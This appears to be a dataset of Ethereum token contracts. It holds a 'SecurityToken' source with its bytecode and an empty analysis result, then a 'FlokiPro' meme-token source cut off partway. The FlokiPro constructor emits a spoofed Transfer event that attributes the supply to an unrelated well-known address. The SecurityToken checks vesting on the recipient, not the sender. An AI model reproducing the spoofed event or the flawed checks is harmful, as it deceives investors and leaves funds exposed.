* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT License (MIT)
*/
/// @title Math operations with safety checks
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner t o transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// ERC Token Standard #20 Interface (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md)
interface IERC20 {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface ISecurityToken {
/**
* @dev Add a verified address to the Security Token whitelist
* @param _whitelistAddress Address attempting to join ST whitelist
* @return bool success
*/
function addToWhitelist(address _whitelistAddress) public returns (bool success);
/**
* @dev Add verified addresses to the Security Token whitelist
* @param _whitelistAddresses Array of addresses attempting to join ST whitelist
* @return bool success
*/
function addToWhitelistMulti(address[] _whitelistAddresses) external returns (bool success);
/**
* @dev Removes a previosly verified address to the Security Token blacklist
* @param _blacklistAddress Address being added to the blacklist
* @return bool success
*/
function addToBlacklist(address _blacklistAddress) public returns (bool success);
/**
* @dev Removes previously verified addresseses to the Security Token whitelist
* @param _blacklistAddresses Array of addresses attempting to join ST whitelist
* @return bool success
*/
function addToBlacklistMulti(address[] _blacklistAddresses) external returns (bool success);
/// Get token decimals
function decimals() view external returns (uint);
// @notice it will return status of white listing
// @return true if user is white listed and false if is not
function isWhiteListed(address _user) external view returns (bool);
}
// The Exchange token
contract SecurityToken is IERC20, Ownable, ISecurityToken {
using SafeMath for uint;
// Public variables of the token
string public name;
string public symbol;
uint public decimals; // How many decimals to show.
string public version;
uint public totalSupply;
uint public tokenPrice;
bool public exchangeEnabled;
bool public codeExportEnabled;
address public commissionAddress; // address to deposit commissions
uint public deploymentCost; // cost of deployment with exchange feature
uint public tokenOnlyDeploymentCost; // cost of deployment with basic ERC20 feature
uint public exchangeEnableCost; // cost of upgrading existing ERC20 to exchange feature
uint public codeExportCost; // cost of exporting the code
string public securityISIN;
// Security token shareholders
struct Shareholder { // Structure that contains the data of the shareholders
bool allowed; // allowed - whether the shareholder is allowed to transfer or recieve the security token
uint receivedAmt;
uint releasedAmt;
uint vestingDuration;
uint vestingCliff;
uint vestingStart;
}
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
mapping(address => Shareholder) public shareholders; // Mapping that holds the data of the shareholder corresponding to investor address
modifier onlyWhitelisted(address _to) {
require(shareholders[_to].allowed && shareholders[msg.sender].allowed);
_;
}
modifier onlyVested(address _from) {
require(availableAmount(_from) > 0);
_;
}
// The Token constructor
constructor (
uint _initialSupply,
string _tokenName,
string _tokenSymbol,
uint _decimalUnits,
string _version,
uint _tokenPrice,
string _securityISIN
) public payable
{
totalSupply = _initialSupply * (10**_decimalUnits);
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
version = _version; // Version of token
tokenPrice = _tokenPrice; // Token price in Wei
securityISIN = _securityISIN;// ISIN security registration number
balances[owner] = totalSupply;
deploymentCost = 25e17;
tokenOnlyDeploymentCost = 15e17;
exchangeEnableCost = 15e17;
codeExportCost = 1e19;
codeExportEnabled = true;
exchangeEnabled = true;
commissionAddress = 0x80eFc17CcDC8fE6A625cc4eD1fdaf71fD81A2C99;
commissionAddress.transfer(msg.value);
addToWhitelist(owner);
}
event LogTransferSold(address indexed to, uint value);
event LogTokenExchangeEnabled(address indexed caller, uint exchangeCost);
event LogTokenExportEnabled(address indexed caller, uint enableCost);
event LogNewWhitelistedAddress( address indexed shareholder);
event LogNewBlacklistedAddress(address indexed shareholder);
event logVestingAllocation(address indexed shareholder, uint amount, uint duration, uint cliff, uint start);
event logISIN(string isin);
function updateISIN(string _securityISIN) external onlyOwner() {
bytes memory tempISIN = bytes(_securityISIN);
require(tempISIN.length > 0); // ensure that ISIN has been passed
securityISIN = _securityISIN;// ISIN security registration number
emit logISIN(_securityISIN);
}
function allocateVestedTokens(address _to, uint _value, uint _duration, uint _cliff, uint _vestingStart )
external onlyWhitelisted(_to) onlyOwner() returns (bool)
{
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (shareholders[_to].receivedAmt == 0) {
shareholders[_to].vestingDuration = _duration;
shareholders[_to].vestingCliff = _cliff;
shareholders[_to].vestingStart = _vestingStart;
}
shareholders[_to].receivedAmt = shareholders[_to].receivedAmt.add(_value);
emit Transfer(msg.sender, _to, _value);
emit logVestingAllocation(_to, _value, _duration, _cliff, _vestingStart);
return true;
}
function availableAmount(address _from) public view returns (uint256) {
if (block.timestamp < shareholders[_from].vestingCliff) {
return balanceOf(_from).sub(shareholders[_from].receivedAmt);
} else if (block.timestamp >= shareholders[_from].vestingStart.add(shareholders[_from].vestingDuration)) {
return balanceOf(_from);
} else {
uint totalVestedBalance = shareholders[_from].receivedAmt;
uint totalAvailableVestedBalance = totalVestedBalance.mul(block.timestamp.sub(shareholders[_from].vestingStart)).div(shareholders[_from].vestingDuration);
uint lockedBalance = totalVestedBalance - totalAvailableVestedBalance;
return balanceOf(_from).sub(lockedBalance);
}
}
// @noice To be called by owner of the contract to enable exchange functionality
// @param _tokenPrice {uint} cost of token in ETH
// @return true {bool} if successful
function enableExchange(uint _tokenPrice) public payable {
require(!exchangeEnabled);
require(exchangeEnableCost == msg.value);
exchangeEnabled = true;
tokenPrice = _tokenPrice;
commissionAddress.transfer(msg.value);
emit LogTokenExchangeEnabled(msg.sender, _tokenPrice);
}
// @notice to enable code export functionality
function enableCodeExport() public payable {
require(!codeExportEnabled);
require(codeExportCost == msg.value);
codeExportEnabled = true;
commissionAddress.transfer(msg.value);
emit LogTokenExportEnabled(msg.sender, msg.value);
}
// @notice It will send tokens to sender based on the token price
function swapTokens() public payable onlyWhitelisted(msg.sender) {
require(exchangeEnabled);
uint tokensToSend;
tokensToSend = (msg.value * (10**decimals)) / tokenPrice;
require(balances[owner] >= tokensToSend);
balances[msg.sender] = balances[msg.sender].add(tokensToSend);
balances[owner] = balances[owner].sub(tokensToSend);
owner.transfer(msg.value);
emit Transfer(owner, msg.sender, tokensToSend);
emit LogTransferSold(msg.sender, tokensToSend);
}
// @notice will be able to mint tokens in the future
// @param _target {address} address to which new tokens will be assigned
// @parm _mintedAmount {uint256} amouont of tokens to mint
function mintToken(address _target, uint256 _mintedAmount) public onlyWhitelisted(_target) onlyOwner() {
balances[_target] += _mintedAmount;
totalSupply += _mintedAmount;
emit Transfer(0, _target, _mintedAmount);
}
// @notice transfer tokens to given address
// @param _to {address} address or recipient
// @param _value {uint} amount to transfer
// @return {bool} true if successful
function transfer(address _to, uint _value) external onlyVested(_to) onlyWhitelisted(_to) returns(bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// @notice transfer tokens from given address to another address
// @param _from {address} from whom tokens are transferred
// @param _to {address} to whom tokens are transferred
// @param _value {uint} amount of tokens to transfer
// @return {bool} true if successful
function transferFrom(address _from, address _to, uint256 _value)
external onlyVested(_to) onlyWhitelisted(_to) returns(bool success) {
require(_to != address(0));
require(balances[_from] >= _value); // Check if the sender has enough
require(_value <= allowed[_from][msg.sender]); // Check if allowed is greater or equal
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // adjust allowed
emit Transfer(_from, _to, _value);
return true;
}
// @notice to query balance of account
// @return _owner {address} address of user to query balance
function balanceOf(address _owner) public view returns(uint balance) {
return balances[_owner];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) external returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// @notice to query of allowance of one user to the other
// @param _owner {address} of the owner of the account
// @param _spender {address} of the spender of the account
// @return remaining {uint} amount of remaining allowance
function allowance(address _owner, address _spender) external view returns(uint remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Add a verified address to the Security Token whitelist
* The Issuer can add an address to the whitelist by themselves by
* creating their own KYC provider and using it to verify the accounts
* they want to add to the whitelist.
* @param _whitelistAddress Address attempting to join ST whitelist
* @return bool success
*/
function addToWhitelist(address _whitelistAddress) onlyOwner public returns (bool success) {
shareholders[_whitelistAddress].allowed = true;
emit LogNewWhitelistedAddress(_whitelistAddress);
return true;
}
/**
* @dev Add verified addresses to the Security Token whitelist
* @param _whitelistAddresses Array of addresses attempting to join ST whitelist
* @return bool success
*/
function addToWhitelistMulti(address[] _whitelistAddresses) onlyOwner external returns (bool success) {
for (uint256 i = 0; i < _whitelistAddresses.length; i++) {
addToWhitelist(_whitelistAddresses[i]);
}
return true;
}
/**
* @dev Add a verified address to the Security Token blacklist
* @param _blacklistAddress Address being added to the blacklist
* @return bool success
*/
function addToBlacklist(address _blacklistAddress) onlyOwner public returns (bool success) {
require(shareholders[_blacklistAddress].allowed);
shareholders[_blacklistAddress].allowed = false;
emit LogNewBlacklistedAddress(_blacklistAddress);
return true;
}
/**
* @dev Removes previously verified addresseses to the Security Token whitelist
* @param _blacklistAddresses Array of addresses attempting to join ST whitelist
* @return bool success
*/
function addToBlacklistMulti(address[] _blacklistAddresses) onlyOwner external returns (bool success) {
for (uint256 i = 0; i < _blacklistAddresses.length; i++) {
addToBlacklist(_blacklistAddresses[i]);
}
return true;
}
// @notice it will return status of white listing
// @return true if user is white listed and false if is not
function isWhiteListed(address _user) external view returns (bool) {
return shareholders[_user].allowed;
}
function totalSupply() external view returns (uint256) {
return totalSupply;
}
function decimals() external view returns (uint) {
return decimals;
}
} | 0x6080604052600436106101d75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101dc578063095ea7b3146102665780631121ef401461029e57806318160ddd146102b357806321f7ac0d146102da57806323b872dd146102ef57806325221a4f1461031957806327e235e314610339578063313ce5671461035a5780633a3b955b1461036f57806344337ea11461037c57806354fd4d501461039d5780635c2930ad146103b25780635c65816514610408578063654259dd1461042f57806366188463146104505780636f1e738c146104745780636f9170f614610494578063706a99fb146104b557806370a08231146104ca57806373d00224146104eb5780637896cd95146104f357806379c65068146105085780637f4ed2c71461052c5780637ff9b5961461054c57806389e2c014146105615780638da5cb5b1461058e578063931742d3146105bf57806395d89b41146105d4578063a9059cbb146105e9578063ac133d3b1461060d578063c53abe2914610622578063d73dd62314610637578063dd62ed3e1461065b578063e43252d714610682578063e46f9ecf146106a3578063f2fde38b146106ab578063f5343752146106cc575b600080fd5b3480156101e857600080fd5b506101f16106e1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022b578181015183820152602001610213565b50505050905090810190601f1680156102585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027257600080fd5b5061028a600160a060020a036004351660243561076e565b604080519115158252519081900360200190f35b3480156102aa57600080fd5b506101f16107d4565b3480156102bf57600080fd5b506102c861082f565b60408051918252519081900360200190f35b3480156102e657600080fd5b506102c8610836565b3480156102fb57600080fd5b5061028a600160a060020a036004358116906024351660443561083c565b34801561032557600080fd5b5061028a60048035602481019101356109ff565b34801561034557600080fd5b506102c8600160a060020a0360043516610a5c565b34801561036657600080fd5b506102c8610a6e565b61037a600435610a74565b005b34801561038857600080fd5b5061028a600160a060020a0360043516610b1e565b3480156103a957600080fd5b506101f1610bab565b3480156103be57600080fd5b506103d3600160a060020a0360043516610c06565b6040805196151587526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b34801561041457600080fd5b506102c8600160a060020a0360043581169060243516610c3f565b34801561043b57600080fd5b506102c8600160a060020a0360043516610c5c565b34801561045c57600080fd5b5061028a600160a060020a0360043516602435610d7b565b34801561048057600080fd5b5061037a6004803560248101910135610e6b565b3480156104a057600080fd5b5061028a600160a060020a0360043516610f2c565b3480156104c157600080fd5b5061028a610f4a565b3480156104d657600080fd5b506102c8600160a060020a0360043516610f58565b61037a610f73565b3480156104ff57600080fd5b506102c861110b565b34801561051457600080fd5b5061037a600160a060020a0360043516602435611111565b34801561053857600080fd5b5061028a60048035602481019101356111ba565b34801561055857600080fd5b506102c861120d565b34801561056d57600080fd5b5061028a600160a060020a0360043516602435604435606435608435611213565b34801561059a57600080fd5b506105a3611402565b60408051600160a060020a039092168252519081900360200190f35b3480156105cb57600080fd5b506105a3611411565b3480156105e057600080fd5b506101f1611426565b3480156105f557600080fd5b5061028a600160a060020a036004351660243561147e565b34801561061957600080fd5b506102c86115ab565b34801561062e57600080fd5b506102c86115b1565b34801561064357600080fd5b5061028a600160a060020a03600435166024356115b7565b34801561066757600080fd5b506102c8600160a060020a0360043581169060243516611650565b34801561068e57600080fd5b5061028a600160a060020a036004351661167b565b61037a6116e4565b3480156106b757600080fd5b5061037a600160a060020a036004351661178f565b3480156106d857600080fd5b5061028a611823565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107665780601f1061073b57610100808354040283529160200191610766565b820191906000526020600020905b81548152906001019060200180831161074957829003601f168201915b505050505081565b336000818152600e60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600c805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107665780601f1061073b57610100808354040283529160200191610766565b6005545b90565b600b5481565b600082600061084a82610c5c565b1161085457600080fd5b600160a060020a0384166000908152600f6020526040902054849060ff16801561088d5750336000908152600f602052604090205460ff165b151561089857600080fd5b600160a060020a03851615156108ad57600080fd5b600160a060020a0386166000908152600d60205260409020548411156108d257600080fd5b600160a060020a0386166000908152600e6020908152604080832033845290915290205484111561090257600080fd5b600160a060020a0386166000908152600d602052604090205461092b908563ffffffff61182c16565b600160a060020a038088166000908152600d60205260408082209390935590871681522054610960908563ffffffff61183e16565b600160a060020a038087166000908152600d60209081526040808320949094559189168152600e825282812033825290915220546109a4908563ffffffff61182c16565b600160a060020a038088166000818152600e602090815260408083203384528252918290209490945580518881529051928916939192600080516020611928833981519152929181900390910190a350600195945050505050565b600080548190600160a060020a03163314610a1957600080fd5b5060005b82811015610a5257610a49848483818110610a3457fe5b90506020020135600160a060020a0316610b1e565b50600101610a1d565b5060019392505050565b600d6020526000908152604090205481565b60035490565b60075460ff1615610a8457600080fd5b600a543414610a9257600080fd5b6007805460ff1916600117908190556006829055604051600160a060020a036201000090920491909116903480156108fc02916000818181858888f19350505050158015610ae4573d6000803e3d6000fd5b5060408051828152905133917f49c228e5f02d42855b22ce915d3db69cb1016ae6a4fd61d2ce88561136bc8205919081900360200190a250565b60008054600160a060020a03163314610b3657600080fd5b600160a060020a0382166000908152600f602052604090205460ff161515610b5d57600080fd5b600160a060020a0382166000818152600f6020526040808220805460ff19169055517f7c498df7a5d7c54460e31018c6399030b4ce21464bda048298f7a971c4ed82f99190a2506001919050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107665780601f1061073b57610100808354040283529160200191610766565b600f6020526000908152604090208054600182015460028301546003840154600485015460059095015460ff9094169492939192909186565b600e60209081526000928352604080842090915290825290205481565b600160a060020a0381166000908152600f6020526040812060040154819081908190421015610cc157600160a060020a0385166000908152600f6020526040902060010154610cba90610cae87610f58565b9063ffffffff61182c16565b9350610d73565b600160a060020a0385166000908152600f602052604090206003810154600590910154610cf39163ffffffff61183e16565b4210610d0257610cba85610f58565b600160a060020a0385166000908152600f6020526040902060018101546003820154600590920154909450610d609190610d5490610d4790429063ffffffff61182c16565b869063ffffffff61185416565b9063ffffffff61187816565b915050808203610cba81610cae87610f58565b505050919050565b336000908152600e60209081526040808320600160a060020a038616845290915281205480831115610dd057336000908152600e60209081526040808320600160a060020a0388168452909152812055610e05565b610de0818463ffffffff61182c16565b336000908152600e60209081526040808320600160a060020a03891684529091529020555b336000818152600e60209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600054606090600160a060020a03163314610e8557600080fd5b82828080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050905060008151111515610eca57600080fd5b610ed6600c848461188f565b507f86efb7d7bfa0c2c6fe714394500fee2107b12ea871918c2c6aca39fc7bf619ef83836040518080602001828103825284848281815260200192508082843760405192018290039550909350505050a1505050565b600160a060020a03166000908152600f602052604090205460ff1690565b600754610100900460ff1681565b600160a060020a03166000908152600d602052604090205490565b336000818152600f602052604081205490919060ff168015610fa45750336000908152600f602052604090205460ff165b1515610faf57600080fd5b60075460ff161515610fc057600080fd5b600654600354600a0a3402811515610fd457fe5b60008054600160a060020a03168152600d60205260409020549190049250821115610ffe57600080fd5b336000908152600d602052604090205461101e908363ffffffff61183e16565b336000908152600d6020526040808220929092558054600160a060020a031681522054611051908363ffffffff61182c16565b60008054600160a060020a039081168252600d602052604080832093909355815492519216913480156108fc0292909190818181858888f1935050505015801561109f573d6000803e3d6000fd5b506000546040805184815290513392600160a060020a031691600080516020611928833981519152919081900360200190a360408051838152905133917fdf3658ca061831b4e1f39731db7049b92e779a24029e33f41a64dde72e400bd4919081900360200190a25050565b600a5481565b600160a060020a0382166000908152600f6020526040902054829060ff16801561114a5750336000908152600f602052604090205460ff165b151561115557600080fd5b600054600160a060020a0316331461116c57600080fd5b600160a060020a0383166000818152600d60209081526040808320805487019055600580548701905580518681529051600080516020611928833981519152929181900390910190a3505050565b600080548190600160a060020a031633146111d457600080fd5b5060005b82811015610a52576112048484838181106111ef57fe5b90506020020135600160a060020a031661167b565b506001016111d8565b60065481565b600160a060020a0385166000908152600f6020526040812054869060ff16801561124c5750336000908152600f602052604090205460ff165b151561125757600080fd5b600054600160a060020a0316331461126e57600080fd5b600160a060020a038716151561128357600080fd5b336000908152600d60205260409020546112a3908763ffffffff61182c16565b336000908152600d602052604080822092909255600160a060020a038916815220546112d5908763ffffffff61183e16565b600160a060020a0388166000908152600d6020908152604080832093909355600f90522060010154151561133057600160a060020a0387166000908152600f6020526040902060038101869055600481018590556005018390555b600160a060020a0387166000908152600f602052604090206001015461135c908763ffffffff61183e16565b600160a060020a0388166000818152600f60209081526040918290206001019390935580518981529051919233926000805160206119288339815191529281900390910190a36040805187815260208101879052808201869052606081018590529051600160a060020a038916917fdb49ca4558c48969a1e6b8b8b68b86925d4fe3a17a5ed148c80319cd21eff6f9919081900360800190a25060019695505050505050565b600054600160a060020a031681565b600754620100009004600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156107665780601f1061073b57610100808354040283529160200191610766565b600082600061148c82610c5c565b1161149657600080fd5b600160a060020a0384166000908152600f6020526040902054849060ff1680156114cf5750336000908152600f602052604090205460ff165b15156114da57600080fd5b600160a060020a03851615156114ef57600080fd5b336000908152600d602052604090205484111561150b57600080fd5b336000908152600d602052604090205461152b908563ffffffff61182c16565b336000908152600d602052604080822092909255600160a060020a0387168152205461155d908563ffffffff61183e16565b600160a060020a0386166000818152600d60209081526040918290209390935580518781529051919233926000805160206119288339815191529281900390910190a3506001949350505050565b60085481565b60095481565b336000908152600e60209081526040808320600160a060020a03861684529091528120546115eb908363ffffffff61183e16565b336000818152600e60209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a039182166000908152600e6020908152604080832093909416825291909152205490565b60008054600160a060020a0316331461169357600080fd5b600160a060020a0382166000818152600f6020526040808220805460ff19166001179055517fb7dd5b4280f615ef3a3001bc050b872324dca59618921aa5d74211ee7c13fd899190a2506001919050565b600754610100900460ff16156116f957600080fd5b600b54341461170757600080fd5b6007805461ff0019166101001790819055604051600160a060020a036201000090920491909116903480156108fc02916000818181858888f19350505050158015611756573d6000803e3d6000fd5b5060408051348152905133917f1df8db01cca5570b0774eaaa0ba0ef824854d38f3214d8879b8d70cd8dd51e5a919081900360200190a2565b600054600160a060020a031633146117a657600080fd5b600160a060020a03811615156117bb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075460ff1681565b60008282111561183857fe5b50900390565b60008282018381101561184d57fe5b9392505050565b6000828202831580611870575082848281151561186d57fe5b04145b151561184d57fe5b600080828481151561188657fe5b04949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106118d05782800160ff198235161785556118fd565b828001600101855582156118fd579182015b828111156118fd5782358255916020019190600101906118e2565b5061190992915061190d565b5090565b61083391905b8082111561190957600081556001016119135600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ac55cd64dbdc45e05e3cc263938dd7f12252b8a0f65aab4c51444514a2e60ce60029 | {"success": true, "error": null, "results": {}} | 9,697 |
0xf55437fce8dfa790ccfd6de947a1f1c78132e3eb | /**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// $FlokiPro
// Telegram: https://t.me/FlokiProToken
// EverRise tokenomics with the hottest meme of the moment launched on Elon's birthday
// Introducing the only coin on the blockchain that is designed to go up.
// 20%+ Slippage
// Liquidity will be locked
// Ownership will be renounced
// EverRise fork, special thanks to them!
/*
___ _ _ _ ___
/ __\ | ___ | | _(_) / _ \_ __ ___
/ _\ | |/ _ \| |/ / |/ /_)/ '__/ _ \
/ / | | (_) | <| / ___/| | | (_) |
\/ |_|\___/|_|\_\_\/ |_| \___/
*/
// Manual buybacks
// Fair Launch, no Dev Tokens. 100% LP.
// Snipers will be nuked.
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiPro is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Floki Pro";
string private constant _symbol = 'FlokiPro';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
